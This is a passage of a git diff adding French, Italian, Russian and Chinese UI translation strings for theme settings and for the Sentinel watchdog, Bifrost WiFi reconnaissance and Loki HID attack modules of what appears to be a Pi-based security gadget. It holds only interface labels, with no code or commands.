trabajos aún", + "loki.no_output": "Sin salida", + "loki.empty_script": "El script está vacío", + "loki.job_started": "Trabajo iniciado: {id}", + "loki.run_error": "Error al ejecutar el script", + "loki.script_name_prompt": "Nombre del script:", + "loki.saved": "Script guardado", + "loki.save_error": "Error al guardar el script", + "loki.confirm_delete": "¿Eliminar script '{name}'?", + "loki.quick_placeholder": "Escribir texto rápido aquí...", + "loki.quick_send": "Escribir", + "loki.quick_sent": "Texto enviado al objetivo", + "loki.quick_error": "Error al enviar texto" } \ No newline at end of file diff --git a/web/i18n/fr.json b/web/i18n/fr.json index 404fa29..77ff574 100644 --- a/web/i18n/fr.json +++ b/web/i18n/fr.json @@ -41,22 +41,40 @@ "settings.errorRestoring": "Erreur lors de la restauration des valeurs par défaut", "theme.group.colors": "Couleurs", "theme.group.surfaces": "Surfaces", + "theme.group.borders": "Bordures", + "theme.group.controls": "Contrôles", "theme.group.layout": "Disposition", "theme.token.bg": "Arrière-plan", + "theme.token.bg2": "Arrière-plan Alt", "theme.token.ink": "Couleur du texte", + "theme.token.muted": "Texte atténué", "theme.token.accent1": "Accent 1 (Acide)", "theme.token.accent2": "Accent 2 (Cyan)", + "theme.token.accent": "Accent", + "theme.token.accentAlt": "Accent Alt", "theme.token.danger": "Danger", "theme.token.warning": "Avertissement", "theme.token.ok": "Succès", "theme.token.panel": "Panneau", "theme.token.panel2": "Panneau Alt", "theme.token.ctrlPanel": "Panneau contrôle", + "theme.token.ctrlPanel2": "Panneau contrôle Alt", + "theme.token.btnBg": "Fond bouton", "theme.token.border": "Bordure", + "theme.token.borderStrong": "Bordure forte", + "theme.token.borderHi": "Bordure vive", + "theme.token.switchTrack": "Piste interrupteur", + "theme.token.switchOnBg": "Fond interrupteur actif", + "theme.token.scrollTrack": "Piste défilement", + "theme.token.scrollThumb": "Poignée défilement", + "theme.token.glass": "Overlay verre", "theme.token.radius": "Rayon de bordure", "theme.advanced": "CSS avancé", "theme.applyRaw": "Appliquer", "theme.reset": "Réinitialiser", + "theme.export": "Exporter le thème", + "theme.import": "Importer un thème", + "theme.importError": "Fichier thème invalide", "dash.title": "Tableau de bord", "dash.battery": "Batterie", "dash.internet": "Internet", @@ -778,5 +796,141 @@ "api.timeout": "La requête a expiré", "api.failed": "La requête a échoué", "router.notFound": "Page non trouvée : {{path}}", - "router.errorLoading": "Erreur lors du chargement de la page : {{message}}" + "router.errorLoading": "Erreur lors du chargement de la page : {{message}}", + "nav.sentinel": "Sentinelle", + "sentinel.title": "Sentinelle Watchdog", + "sentinel.enabled": "Activé", + "sentinel.disabled": "Désactivé", + "sentinel.eventFeed": "Flux d'événements", + "sentinel.ackAll": "Tout ack.", + "sentinel.clearAll": "Tout effacer", + "sentinel.allAcked": "Tous les événements acquittés", + "sentinel.confirmClear": "Effacer tous les événements ? Cette action est irréversible.", + "sentinel.eventsCleared": "Événements effacés", + "sentinel.noEvents": "Aucun événement. Sentinel surveille votre réseau.", + "sentinel.rules": "Règles", + "sentinel.devices": "Appareils", + "sentinel.notifiers": "Notifications", + "sentinel.statDevices": "Appareils connus", + "sentinel.statAlive": "En ligne", + "sentinel.statUnread": "Non lus", + "sentinel.statEvents": "Total événements", + "sentinel.statRules": "Règles actives", + "sentinel.addRule": "Ajouter une règle", + "sentinel.noRules": "Aucune règle configurée.", + "sentinel.ruleLogic": "Logique", + "sentinel.ruleActions": "Actions", + "sentinel.enable": "Activer", + "sentinel.disable": "Désactiver", + "sentinel.editRule": "Modifier la règle", + "sentinel.deleteRule": "Supprimer la règle", + "sentinel.confirmDeleteRule": "Supprimer cette règle ?", + "sentinel.ruleDeleted": "Règle supprimée", + "sentinel.ruleUpdated": "Règle mise à jour", + "sentinel.ruleCreated": "Règle créée", + "sentinel.ruleName": "Nom de la règle", + "sentinel.triggerType": "Type de déclencheur", + "sentinel.cooldown": "Délai de récupération", + "sentinel.conditions": "Conditions", + "sentinel.cancel": "Annuler", + "sentinel.save": "Enregistrer", + "sentinel.nameRequired": "Le nom de la règle est requis", + "sentinel.noDevices": "Aucun appareil découvert.", + "sentinel.trusted": "Fiable", + "sentinel.untrusted": "Non fiable", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "IPs attendues", + "sentinel.lastSeen": "Vu en dernier", + "sentinel.deviceSaved": "Appareil mis à jour", + "sentinel.discordWebhook": "Webhook Discord", + "sentinel.webhookUrl": "URL Webhook", + "sentinel.smtpHost": "Hôte SMTP", + "sentinel.smtpPort": "Port SMTP", + "sentinel.smtpUser": "Utilisateur SMTP", + "sentinel.smtpPass": "Mot de passe SMTP", + "sentinel.emailFrom": "Email expéditeur", + "sentinel.emailTo": "Email destinataire", + "sentinel.saveNotifiers": "Sauvegarder", + "sentinel.notifiersSaved": "Configuration sauvegardée", + "sentinel.justNow": "à l'instant", + "sentinel.acknowledge": "Acquitter", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Activé", + "bifrost.disabled": "Désactivé", + "bifrost.activityFeed": "Fil d'activité", + "bifrost.clearActivity": "Effacer", + "bifrost.activityCleared": "Activité effacée", + "bifrost.noActivity": "Aucune activité. Activez Bifrost pour lancer la reconnaissance WiFi.", + "bifrost.networks": "Réseaux", + "bifrost.plugins": "Plugins", + "bifrost.history": "Historique", + "bifrost.mood": "Humeur", + "bifrost.statNetworks": "Réseaux", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Déauths", + "bifrost.statAssocs": "Assocs", + "bifrost.statEpochs": "Époques", + "bifrost.statPeers": "Pairs", + "bifrost.noNetworks": "Aucun réseau découvert.", + "bifrost.noPlugins": "Aucun plugin chargé.", + "bifrost.noEpochs": "Aucune époque enregistrée.", + "bifrost.justNow": "à l'instant", + "bifrost.confirmEnable": "Activer le mode Bifrost ? Le WiFi passera en mode monitor — la connexion réseau sera perdue. Connectez-vous via USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Mode Moniteur Échoué", + "bifrost.monitorFailedHint": "Pour les puces Broadcom (Pi Zero), installez nexmon. Ou utilisez un adaptateur WiFi USB externe.", + "bifrost.nexmonRequired": "Nexmon requis", + "bifrost.nexmonRequiredDesc": "Votre puce WiFi Broadcom nécessite les patchs firmware nexmon pour le mode moniteur. Cliquez pour auto-installer (~15-25 min sur Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Installer Nexmon", + "bifrost.nexmonConfirm": "Installer les patchs firmware nexmon ? Cela va télécharger et compiler nexmon (~15-25 min). Nécessite un accès internet et les droits root.", + "bifrost.nexmonStarted": "Installation de nexmon lancée ...", + "bifrost.nexmonInstalling": "Installation de Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — Suite d'attaque HID", + "loki.enable": "Activer", + "loki.enabled_msg": "Mode Loki activé", + "loki.disabled_msg": "Mode Loki désactivé", + "loki.status_label": "Statut", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Disposition", + "loki.jobs_label": "Tâches", + "loki.running": "En cours", + "loki.running_lc": "en cours", + "loki.idle": "Inactif", + "loki.ready": "Prêt", + "loki.not_ready": "Non prêt", + "loki.not_installed": "Non installé", + "loki.install_msg": "Le gadget HID n'est pas installé. Installez-le et redémarrez pour activer Loki.", + "loki.install_btn": "Installer le gadget HID & Redémarrer", + "loki.reboot_confirm": "Gadget HID installé. Redémarrer maintenant pour activer ?", + "loki.run": "Exécuter", + "loki.save": "Sauvegarder", + "loki.new": "Nouveau", + "loki.delete": "Supprimer", + "loki.cancel": "Annuler", + "loki.output": "Sortie", + "loki.payloads": "Charges utiles", + "loki.custom_scripts": "Scripts personnalisés", + "loki.jobs": "Tâches", + "loki.clear_completed": "Effacer terminés", + "loki.script": "Script", + "loki.status_col": "Statut", + "loki.started": "Démarré", + "loki.actions": "Actions", + "loki.no_payloads": "Aucune charge utile", + "loki.no_scripts": "Aucun script sauvegardé", + "loki.no_jobs": "Aucune tâche", + "loki.no_output": "Aucune sortie", + "loki.empty_script": "Script vide", + "loki.job_started": "Tâche démarrée : {id}", + "loki.run_error": "Échec de l'exécution", + "loki.script_name_prompt": "Nom du script :", + "loki.saved": "Script sauvegardé", + "loki.save_error": "Échec de la sauvegarde", + "loki.confirm_delete": "Supprimer le script '{name}' ?", + "loki.quick_placeholder": "Taper du texte ici...", + "loki.quick_send": "Taper", + "loki.quick_sent": "Texte envoyé à la cible", + "loki.quick_error": "Échec de l'envoi" } \ No newline at end of file diff --git a/web/i18n/it.json b/web/i18n/it.json index 7e5690a..5ba5342 100644 --- a/web/i18n/it.json +++ b/web/i18n/it.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Errore nel ripristino dei valori predefiniti", "theme.group.colors": "Colori", "theme.group.surfaces": "Superfici", + "theme.group.borders": "Bordi", + "theme.group.controls": "Controlli", "theme.group.layout": "Disposizione", "theme.token.bg": "Sfondo", + "theme.token.bg2": "Sfondo Alt", "theme.token.ink": "Colore testo", + "theme.token.muted": "Testo attenuato", "theme.token.accent1": "Accento 1 (Acido)", "theme.token.accent2": "Accento 2 (Ciano)", + "theme.token.accent": "Accento", + "theme.token.accentAlt": "Accento Alt", "theme.token.danger": "Pericolo", "theme.token.warning": "Avviso", "theme.token.ok": "Successo", "theme.token.panel": "Pannello", "theme.token.panel2": "Pannello Alt", "theme.token.ctrlPanel": "Pannello controllo", + "theme.token.ctrlPanel2": "Pannello controllo Alt", + "theme.token.btnBg": "Sfondo pulsante", "theme.token.border": "Bordo", + "theme.token.borderStrong": "Bordo forte", + "theme.token.borderHi": "Bordo evidenziato", + "theme.token.switchTrack": "Traccia interruttore", + "theme.token.switchOnBg": "Sfondo interruttore attivo", + "theme.token.scrollTrack": "Traccia barra di scorrimento", + "theme.token.scrollThumb": "Cursore barra di scorrimento", + "theme.token.glass": "Sovrapposizione vetro", "theme.token.radius": "Raggio bordo", "theme.advanced": "CSS avanzato", "theme.applyRaw": "Applica", - "theme.reset": "Ripristina", + "theme.reset": "Ripristina predefinito", + "theme.export": "Esporta tema", + "theme.import": "Importa tema", + "theme.importError": "File tema non valido", "dash.title": "Cruscotto", "dash.battery": "Batteria", "dash.internet": "Internet", @@ -777,5 +795,137 @@ "api.timeout": "La richiesta è scaduta", "api.failed": "La richiesta è fallita", "router.notFound": "Pagina non trovata : {{path}}", - "router.errorLoading": "Errore nel caricamento della pagina : {{message}}" + "router.errorLoading": "Errore nel caricamento della pagina : {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Watchdog", + "sentinel.enabled": "Abilitato", + "sentinel.disabled": "Disabilitato", + "sentinel.eventFeed": "Feed eventi", + "sentinel.ackAll": "Conferma tutti", + "sentinel.clearAll": "Cancella tutti", + "sentinel.allAcked": "Tutti gli eventi confermati", + "sentinel.confirmClear": "Cancellare tutti gli eventi? Azione irreversibile.", + "sentinel.eventsCleared": "Eventi cancellati", + "sentinel.noEvents": "Nessun evento per ora. Sentinel monitora la rete alla ricerca di anomalie.", + "sentinel.rules": "Regole", + "sentinel.devices": "Dispositivi", + "sentinel.notifiers": "Notifiche", + "sentinel.statDevices": "Dispositivi noti", + "sentinel.statAlive": "Attivi", + "sentinel.statUnread": "Non letti", + "sentinel.statEvents": "Eventi totali", + "sentinel.statRules": "Regole attive", + "sentinel.addRule": "Aggiungi regola", + "sentinel.noRules": "Nessuna regola configurata.", + "sentinel.ruleLogic": "Logica", + "sentinel.ruleActions": "Azioni", + "sentinel.enable": "Abilita", + "sentinel.disable": "Disabilita", + "sentinel.editRule": "Modifica regola", + "sentinel.deleteRule": "Elimina regola", + "sentinel.confirmDeleteRule": "Eliminare questa regola?", + "sentinel.ruleDeleted": "Regola eliminata", + "sentinel.ruleUpdated": "Regola aggiornata", + "sentinel.ruleCreated": "Regola creata", + "sentinel.ruleName": "Nome regola", + "sentinel.triggerType": "Tipo di attivazione", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Condizioni", + "sentinel.cancel": "Annulla", + "sentinel.save": "Salva", + "sentinel.nameRequired": "Il nome della regola è obbligatorio", + "sentinel.noDevices": "Nessun dispositivo scoperto.", + "sentinel.trusted": "Attendibile", + "sentinel.untrusted": "Non attendibile", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "IP previsti", + "sentinel.lastSeen": "Ultima vista", + "sentinel.deviceSaved": "Dispositivo aggiornato", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Utente", + "sentinel.smtpPass": "SMTP Password", + "sentinel.emailFrom": "E-mail mittente", + "sentinel.emailTo": "E-mail destinatario", + "sentinel.saveNotifiers": "Salva notifiche", + "sentinel.notifiersSaved": "Configurazione notifiche salvata", + "sentinel.justNow": "adesso", + "sentinel.acknowledge": "Conferma", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Attivato", + "bifrost.disabled": "Disattivato", + "bifrost.activityFeed": "Feed attività", + "bifrost.clearActivity": "Cancella", + "bifrost.activityCleared": "Attività cancellata", + "bifrost.noActivity": "Nessuna attività. Attiva Bifrost per la ricognizione WiFi.", + "bifrost.networks": "Reti", + "bifrost.plugins": "Plugin", + "bifrost.history": "Cronologia", + "bifrost.mood": "Umore", + "bifrost.statNetworks": "Reti", + "bifrost.statHandshakes": "Handshake", + "bifrost.statDeauths": "Deauth", + "bifrost.statAssocs": "Assoc", + "bifrost.statEpochs": "Epoche", + "bifrost.statPeers": "Peer", + "bifrost.noNetworks": "Nessuna rete scoperta.", + "bifrost.noPlugins": "Nessun plugin caricato.", + "bifrost.noEpochs": "Nessuna epoca registrata.", + "bifrost.justNow": "proprio ora", + "bifrost.confirmEnable": "Attivare la modalità Bifrost? Il WiFi verrà messo in modalità monitor — la connessione di rete andrà persa. Collegati tramite USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Modalità Monitor Fallita", + "bifrost.monitorFailedHint": "Per chip Broadcom (Pi Zero), installa nexmon. O usa un adattatore WiFi USB esterno.", + "bifrost.nexmonRequired": "Nexmon richiesto", + "bifrost.nexmonRequiredDesc": "Il tuo chip WiFi Broadcom necessita delle patch firmware nexmon per la modalità monitor. Clicca per auto-installare (~15-25 min su Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Installa Nexmon", + "bifrost.nexmonConfirm": "Installare le patch firmware nexmon? Questo scaricherà e compilerà nexmon (~15-25 min). Richiede accesso internet e privilegi root.", + "bifrost.nexmonStarted": "Installazione di nexmon avviata ...", + "bifrost.nexmonInstalling": "Installazione di Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — Suite di attacco HID", + "loki.enable": "Abilita", + "loki.enabled_msg": "Modalità Loki abilitata", + "loki.disabled_msg": "Modalità Loki disabilitata", + "loki.status_label": "Stato", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Layout", + "loki.jobs_label": "Lavori", + "loki.running": "In esecuzione", + "loki.running_lc": "in esecuzione", + "loki.idle": "Inattivo", + "loki.ready": "Pronto", + "loki.not_ready": "Non pronto", + "loki.run": "Esegui", + "loki.save": "Salva", + "loki.new": "Nuovo", + "loki.delete": "Elimina", + "loki.cancel": "Annulla", + "loki.output": "Output", + "loki.payloads": "Payload", + "loki.custom_scripts": "Script personalizzati", + "loki.jobs": "Lavori", + "loki.clear_completed": "Elimina completati", + "loki.script": "Script", + "loki.status_col": "Stato", + "loki.started": "Avviato", + "loki.actions": "Azioni", + "loki.no_payloads": "Nessun payload integrato", + "loki.no_scripts": "Nessuno script salvato", + "loki.no_jobs": "Nessun lavoro ancora", + "loki.no_output": "Nessun output", + "loki.empty_script": "Lo script è vuoto", + "loki.job_started": "Lavoro avviato: {id}", + "loki.run_error": "Impossibile eseguire lo script", + "loki.script_name_prompt": "Nome dello script:", + "loki.saved": "Script salvato", + "loki.save_error": "Impossibile salvare lo script", + "loki.confirm_delete": "Eliminare lo script '{name}'?", + "loki.quick_placeholder": "Digita testo rapido qui...", + "loki.quick_send": "Digita", + "loki.quick_sent": "Testo inviato al target", + "loki.quick_error": "Impossibile inviare il testo" } \ No newline at end of file diff --git a/web/i18n/ru.json b/web/i18n/ru.json index 8622f28..cac1065 100644 --- a/web/i18n/ru.json +++ b/web/i18n/ru.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Ошибка восстановления настроек по умолчанию", "theme.group.colors": "Цвета", "theme.group.surfaces": "Поверхности", + "theme.group.borders": "Границы", + "theme.group.controls": "Элементы управления", "theme.group.layout": "Макет", "theme.token.bg": "Фон", + "theme.token.bg2": "Фон Альт", "theme.token.ink": "Цвет текста", + "theme.token.muted": "Приглушённый текст", "theme.token.accent1": "Акцент 1 (Кислотный)", "theme.token.accent2": "Акцент 2 (Циан)", + "theme.token.accent": "Акцент", + "theme.token.accentAlt": "Акцент Альт", "theme.token.danger": "Опасно", "theme.token.warning": "Предупреждение", "theme.token.ok": "Успех", "theme.token.panel": "Панель", "theme.token.panel2": "Панель Альт", "theme.token.ctrlPanel": "Панель управления", + "theme.token.ctrlPanel2": "Панель управления Альт", + "theme.token.btnBg": "Фон кнопки", "theme.token.border": "Рамка", + "theme.token.borderStrong": "Усиленная рамка", + "theme.token.borderHi": "Подсветка рамки", + "theme.token.switchTrack": "Дорожка переключателя", + "theme.token.switchOnBg": "Фон включённого переключателя", + "theme.token.scrollTrack": "Дорожка прокрутки", + "theme.token.scrollThumb": "Ползунок прокрутки", + "theme.token.glass": "Стеклянное наложение", "theme.token.radius": "Радиус рамки", "theme.advanced": "Продвинутый CSS", "theme.applyRaw": "Применить", - "theme.reset": "Сбросить", + "theme.reset": "Сбросить по умолчанию", + "theme.export": "Экспорт темы", + "theme.import": "Импорт темы", + "theme.importError": "Недопустимый файл темы", "dash.title": "Панель управления", "dash.battery": "Батарея", "dash.internet": "Интернет", @@ -777,5 +795,137 @@ "api.timeout": "Время запроса истекло", "api.failed": "Запрос не удался", "router.notFound": "Страница не найдена: {{path}}", - "router.errorLoading": "Ошибка при загрузке страницы: {{message}}" + "router.errorLoading": "Ошибка при загрузке страницы: {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Сторожевой", + "sentinel.enabled": "Включено", + "sentinel.disabled": "Выключено", + "sentinel.eventFeed": "Лента событий", + "sentinel.ackAll": "Подтвердить все", + "sentinel.clearAll": "Очистить все", + "sentinel.allAcked": "Все события подтверждены", + "sentinel.confirmClear": "Очистить все события? Это действие необратимо.", + "sentinel.eventsCleared": "События очищены", + "sentinel.noEvents": "Пока нет событий. Sentinel следит за вашей сетью на предмет аномалий.", + "sentinel.rules": "Правила", + "sentinel.devices": "Устройства", + "sentinel.notifiers": "Уведомления", + "sentinel.statDevices": "Известные устройства", + "sentinel.statAlive": "Активные", + "sentinel.statUnread": "Непрочитанные", + "sentinel.statEvents": "Всего событий", + "sentinel.statRules": "Активные правила", + "sentinel.addRule": "Добавить правило", + "sentinel.noRules": "Правила не настроены.", + "sentinel.ruleLogic": "Логика", + "sentinel.ruleActions": "Действия", + "sentinel.enable": "Включить", + "sentinel.disable": "Выключить", + "sentinel.editRule": "Редактировать правило", + "sentinel.deleteRule": "Удалить правило", + "sentinel.confirmDeleteRule": "Удалить это правило?", + "sentinel.ruleDeleted": "Правило удалено", + "sentinel.ruleUpdated": "Правило обновлено", + "sentinel.ruleCreated": "Правило создано", + "sentinel.ruleName": "Название правила", + "sentinel.triggerType": "Тип триггера", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Условия", + "sentinel.cancel": "Отмена", + "sentinel.save": "Сохранить", + "sentinel.nameRequired": "Название правила обязательно", + "sentinel.noDevices": "Устройства пока не обнаружены.", + "sentinel.trusted": "Доверенное", + "sentinel.untrusted": "Недоверенное", + "sentinel.alias": "Псевдоним", + "sentinel.expectedIps": "Ожидаемые IP", + "sentinel.lastSeen": "Последний раз в сети", + "sentinel.deviceSaved": "Устройство обновлено", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Пользователь", + "sentinel.smtpPass": "SMTP Пароль", + "sentinel.emailFrom": "E-mail отправителя", + "sentinel.emailTo": "E-mail получателя", + "sentinel.saveNotifiers": "Сохранить уведомления", + "sentinel.notifiersSaved": "Настройки уведомлений сохранены", + "sentinel.justNow": "только что", + "sentinel.acknowledge": "Подтвердить", + "nav.bifrost": "Бифрост", + "bifrost.title": "Бифрост", + "bifrost.enabled": "Включено", + "bifrost.disabled": "Выключено", + "bifrost.activityFeed": "Лента активности", + "bifrost.clearActivity": "Очистить", + "bifrost.activityCleared": "Активность очищена", + "bifrost.noActivity": "Нет активности. Включите Bifrost для разведки WiFi.", + "bifrost.networks": "Сети", + "bifrost.plugins": "Плагины", + "bifrost.history": "История", + "bifrost.mood": "Настроение", + "bifrost.statNetworks": "Сети", + "bifrost.statHandshakes": "Рукопожатия", + "bifrost.statDeauths": "Деаутент.", + "bifrost.statAssocs": "Ассоц.", + "bifrost.statEpochs": "Эпохи", + "bifrost.statPeers": "Пиры", + "bifrost.noNetworks": "Сети пока не обнаружены.", + "bifrost.noPlugins": "Плагины не загружены.", + "bifrost.noEpochs": "Эпохи ещё не записаны.", + "bifrost.justNow": "только что", + "bifrost.confirmEnable": "Включить режим Bifrost? WiFi перейдёт в режим мониторинга — сетевое подключение будет потеряно. Подключайтесь через USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Режим мониторинга не работает", + "bifrost.monitorFailedHint": "Для чипов Broadcom (Pi Zero) установите nexmon. Или используйте внешний USB WiFi адаптер.", + "bifrost.nexmonRequired": "Требуется Nexmon", + "bifrost.nexmonRequiredDesc": "Вашему WiFi чипу Broadcom нужны патчи прошивки nexmon для режима мониторинга. Нажмите для авто-установки (~15-25 мин на Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Установить Nexmon", + "bifrost.nexmonConfirm": "Установить патчи прошивки nexmon? Это загрузит и скомпилирует nexmon (~15-25 мин). Требуется доступ в интернет и права root.", + "bifrost.nexmonStarted": "Установка nexmon начата ...", + "bifrost.nexmonInstalling": "Установка Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID Атака", + "loki.enable": "Включить", + "loki.enabled_msg": "Режим Loki включён", + "loki.disabled_msg": "Режим Loki выключен", + "loki.status_label": "Статус", + "loki.gadget_label": "Гаджет", + "loki.layout_label": "Раскладка", + "loki.jobs_label": "Задачи", + "loki.running": "Работает", + "loki.running_lc": "работает", + "loki.idle": "Простой", + "loki.ready": "Готов", + "loki.not_ready": "Не готов", + "loki.run": "Запустить", + "loki.save": "Сохранить", + "loki.new": "Новый", + "loki.delete": "Удалить", + "loki.cancel": "Отмена", + "loki.output": "Вывод", + "loki.payloads": "Нагрузки", + "loki.custom_scripts": "Пользовательские скрипты", + "loki.jobs": "Задачи", + "loki.clear_completed": "Очистить завершённые", + "loki.script": "Скрипт", + "loki.status_col": "Статус", + "loki.started": "Запущено", + "loki.actions": "Действия", + "loki.no_payloads": "Нет встроенных нагрузок", + "loki.no_scripts": "Нет сохранённых скриптов", + "loki.no_jobs": "Задач пока нет", + "loki.no_output": "Нет вывода", + "loki.empty_script": "Скрипт пуст", + "loki.job_started": "Задача запущена: {id}", + "loki.run_error": "Не удалось запустить скрипт", + "loki.script_name_prompt": "Имя скрипта:", + "loki.saved": "Скрипт сохранён", + "loki.save_error": "Не удалось сохранить скрипт", + "loki.confirm_delete": "Удалить скрипт '{name}'?", + "loki.quick_placeholder": "Введите текст здесь...", + "loki.quick_send": "Ввод", + "loki.quick_sent": "Текст отправлен на цель", + "loki.quick_error": "Не удалось отправить текст" } \ No newline at end of file diff --git a/web/i18n/zh.json b/web/i18n/zh.json index 349435e..b20b6b1 100644 --- a/web/i18n/zh.json +++ b/web/i18n/zh.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "恢复默认值时出错", "theme.group.colors": "颜色", "theme.group.surfaces": "界面", + "theme.group.borders": "边框", + "theme.group.controls": "控件", "theme.group.layout": "布局", "theme.token.bg": "背景", + "theme.token.bg2": "备选背景", "theme.token.ink": "文字颜色", + "theme.token.muted": "弱化文字", "theme.token.accent1": "强调色 1 (酸性)", "theme.token.accent2": "强调色 2 (青色)", + "theme.token.accent": "强调色", + "theme.token.accentAlt": "备选强调色", "theme.token.danger": "危险", "theme.token.warning": "警告", "theme.token.ok": "成功", "theme.token.panel": "面板", "theme.token.panel2": "备选面板", "theme.token.ctrlPanel": "控制面板", + "theme.token.ctrlPanel2": "备选控制面板", + "theme.token.btnBg": "按钮背景", "theme.token.border": "边框", + "theme.token.borderStrong": "加粗边框", + "theme.token.borderHi": "高亮边框", + "theme.token.switchTrack": "开关轨道", + "theme.token.switchOnBg": "开关开启背景", + "theme.token.scrollTrack": "滚动条轨道", + "theme.token.scrollThumb": "滚动条滑块", + "theme.token.glass": "玻璃覆盖层", "theme.token.radius": "圆角", "theme.advanced": "高级 CSS", "theme.applyRaw": "应用", - "theme.reset": "重置", + "theme.reset": "恢复默认", + "theme.export": "导出主题", + "theme.import": "导入主题", + "theme.importError": "无效的主题文件", "dash.title": "仪表盘", "dash.battery": "电池", "dash.internet": "互联网", @@ -777,5 +795,137 @@ "api.timeout": "请求超时", "api.failed": "请求失败", "router.notFound": "页面未找到:{{path}}", - "router.errorLoading": "加载页面时出错:{{message}}" + "router.errorLoading": "加载页面时出错:{{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel 守护犬", + "sentinel.enabled": "已启用", + "sentinel.disabled": "已禁用", + "sentinel.eventFeed": "事件动态", + "sentinel.ackAll": "全部确认", + "sentinel.clearAll": "全部清除", + "sentinel.allAcked": "所有事件已确认", + "sentinel.confirmClear": "清除所有事件?此操作不可逆。", + "sentinel.eventsCleared": "事件已清除", + "sentinel.noEvents": "暂无事件。Sentinel 正在监控您的网络以发现异常。", + "sentinel.rules": "规则", + "sentinel.devices": "设备", + "sentinel.notifiers": "通知器", + "sentinel.statDevices": "已知设备", + "sentinel.statAlive": "在线", + "sentinel.statUnread": "未读", + "sentinel.statEvents": "事件总数", + "sentinel.statRules": "活跃规则", + "sentinel.addRule": "添加规则", + "sentinel.noRules": "未配置规则。", + "sentinel.ruleLogic": "逻辑", + "sentinel.ruleActions": "动作", + "sentinel.enable": "启用", + "sentinel.disable": "禁用", + "sentinel.editRule": "编辑规则", + "sentinel.deleteRule": "删除规则", + "sentinel.confirmDeleteRule": "确定删除此规则?", + "sentinel.ruleDeleted": "规则已删除", + "sentinel.ruleUpdated": "规则已更新", + "sentinel.ruleCreated": "规则已创建", + "sentinel.ruleName": "规则名称", + "sentinel.triggerType": "触发类型", + "sentinel.cooldown": "冷却时间", + "sentinel.conditions": "条件", + "sentinel.cancel": "取消", + "sentinel.save": "保存", + "sentinel.nameRequired": "规则名称为必填项", + "sentinel.noDevices": "尚未发现设备。", + "sentinel.trusted": "受信任", + "sentinel.untrusted": "不受信任", + "sentinel.alias": "别名", + "sentinel.expectedIps": "预期 IP", + "sentinel.lastSeen": "最后上线", + "sentinel.deviceSaved": "设备已更新", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP 用户", + "sentinel.smtpPass": "SMTP 密码", + "sentinel.emailFrom": "发件人邮箱", + "sentinel.emailTo": "收件人邮箱", + "sentinel.saveNotifiers": "保存通知器", + "sentinel.notifiersSaved": "通知器配置已保存", + "sentinel.justNow": "刚刚", + "sentinel.acknowledge": "确认", + "nav.bifrost": "彩虹桥", + "bifrost.title": "彩虹桥", + "bifrost.enabled": "已启用", + "bifrost.disabled": "已禁用", + "bifrost.activityFeed": "活动日志", + "bifrost.clearActivity": "清除", + "bifrost.activityCleared": "活动已清除", + "bifrost.noActivity": "暂无活动。启用 Bifrost 开始 WiFi 侦察。", + "bifrost.networks": "网络", + "bifrost.plugins": "插件", + "bifrost.history": "历史", + "bifrost.mood": "心情", + "bifrost.statNetworks": "网络", + "bifrost.statHandshakes": "握手", + "bifrost.statDeauths": "去认证", + "bifrost.statAssocs": "关联", + "bifrost.statEpochs": "纪元", + "bifrost.statPeers": "节点", + "bifrost.noNetworks": "尚未发现网络。", + "bifrost.noPlugins": "未加载插件。", + "bifrost.noEpochs": "尚无纪元记录。", + "bifrost.justNow": "刚刚", + "bifrost.confirmEnable": "启用 Bifrost 模式?WiFi 将切换为监听模式 — 网络连接将断开。请通过 USB/蓝牙/以太网连接。", + "bifrost.monitorFailed": "监控模式失败", + "bifrost.monitorFailedHint": "对于Broadcom芯片(Pi Zero),请安装nexmon。或使用外置USB WiFi适配器。", + "bifrost.nexmonRequired": "需要安装 Nexmon", + "bifrost.nexmonRequiredDesc": "您的Broadcom WiFi芯片需要nexmon固件补丁才能使用监控模式。点击自动安装(Pi Zero 2 W约需15-25分钟)。", + "bifrost.nexmonInstallBtn": "安装 Nexmon", + "bifrost.nexmonConfirm": "安装nexmon固件补丁?这将下载并编译nexmon(约15-25分钟)。需要网络连接和root权限。", + "bifrost.nexmonStarted": "nexmon 安装已开始 ...", + "bifrost.nexmonInstalling": "正在安装 Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID 攻击套件", + "loki.enable": "启用", + "loki.enabled_msg": "Loki 模式已启用", + "loki.disabled_msg": "Loki 模式已禁用", + "loki.status_label": "状态", + "loki.gadget_label": "设备", + "loki.layout_label": "布局", + "loki.jobs_label": "任务", + "loki.running": "运行中", + "loki.running_lc": "运行中", + "loki.idle": "空闲", + "loki.ready": "就绪", + 